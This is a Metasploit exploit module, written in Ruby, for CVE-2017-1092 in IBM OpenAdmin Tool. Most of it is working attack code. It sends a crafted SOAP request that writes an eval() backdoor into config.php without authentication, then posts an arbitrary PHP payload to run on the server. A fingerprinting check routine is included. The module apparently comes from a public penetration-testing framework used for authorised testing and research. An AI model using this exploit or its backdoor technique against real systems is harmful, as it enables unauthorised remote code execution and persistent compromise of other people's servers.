IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include REXML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution',  
'Description' => %q{  
This module exploits an unauthenticated remote PHP code execution  
vulnerability in IBM OpenAdmin Tool included with IBM Informix  
versions 11.5, 11.7, and 12.1.  
  
The 'welcomeServer' SOAP service does not properly validate user input  
in the 'new_home_page' parameter of the 'saveHomePage' method allowing  
arbitrary PHP code to be written to the config.php file. The config.php  
file is executed in most pages within the application, and accessible  
directly via the web root, resulting in code execution.  
  
This module has been tested successfully on IBM OpenAdmin Tool 3.14  
on Informix 12.10 Developer Edition (SUSE Linux 11) virtual appliance.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'SecuriTeam', # Discovery and exploit  
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit  
],  
'References' =>  
[  
['CVE', '2017-1092'],  
['EDB', '42091'],  
['URL', 'https://www-01.ibm.com/support/docview.wss?uid=swg22002897'],  
['URL', 'https://blogs.securiteam.com/index.php/archives/3210'],  
['URL', 'http://seclists.org/fulldisclosure/2017/May/105']  
],  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Privileged' => false, # Privileged on Windows but not on *nix targets  
'Targets' => [['Generic (PHP Payload)', {}]],  
'DisclosureDate' => 'May 30 2017',  
'DefaultTarget' => 0))  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'The base path to IBM OpenAdmin Tool', '/openadmin' ])  
]  
)  
end  
  
def set_home_page(homepage)  
xml = Document.new  
xml.add_element 'soapenv:Envelope', 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',  
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema',  
'xmlns:soapenv' => 'http://schemas.xmlsoap.org/soap/envelope/',  
'xmlns:urn' => 'urn:Welcome'  
xml.root.add_element 'soapenv:Header'  
xml.root.add_element 'soapenv:Body'  
body = xml.root.elements[2]  
body.add_element 'urn:saveHomePage', 'soapenv:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/'  
new_home_page = body.elements[1].add_element 'new_home_page', 'xsi:type' => 'xsd:string'  
new_home_page.text = homepage  
  
uri = normalize_uri target_uri.path, 'services', 'welcome', 'welcomeService.php'  
send_request_cgi 'method' => 'POST',  
'uri' => uri,  
'ctype' => 'text/xml; charset=UTF-8',  
'headers' => { 'SOAPAction' => 'urn:QBEAction' },  
'data' => xml.to_s  
end  
  
def check  
fingerprint = Rex::Text.rand_text_alpha(rand(10) + 6)  
res = set_home_page "\";##{fingerprint}"  
  
unless res  
vprint_status "#{peer} Connection failed"  
return CheckCode::Unknown  
end  
  
if res.code == 200 && res.body =~ %r{<ns1:saveHomePageResponse><return xsi:type="xsd:string">";##{fingerprint}</return>}  
return CheckCode::Detected  
end  
  
Msf::Exploit::CheckCode::Safe  
end  
  
def exploit  
cmd_param = Rex::Text.rand_text_alpha(rand(10) + 6)  
  
res = set_home_page "\";eval($_POST['#{cmd_param}']); #"  
  
unless res  
vprint_status "#{peer} Connection failed"  
return CheckCode::Unknown  
end  
  
if res.code == 200 && res.body =~ /<ns1:saveHomePageResponse><return xsi:type="xsd:string">";eval/  
print_good "#{peer} Wrote backdoor to config.php file successfully"  
else  
fail_with Failure::UnexpectedReply, "#{peer} Failed to backdoor config.php"  
end  
  
vprint_status "#{peer} Executing payload..."  
send_request_cgi({ 'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'conf', 'config.php'),  
'vars_post' => { cmd_param => payload.encoded } }, 5)  
  
print_warning "#{peer} Replace the 'config.php' file with 'BAKconfig.php' to remove the backdoor"  
end  
end  
`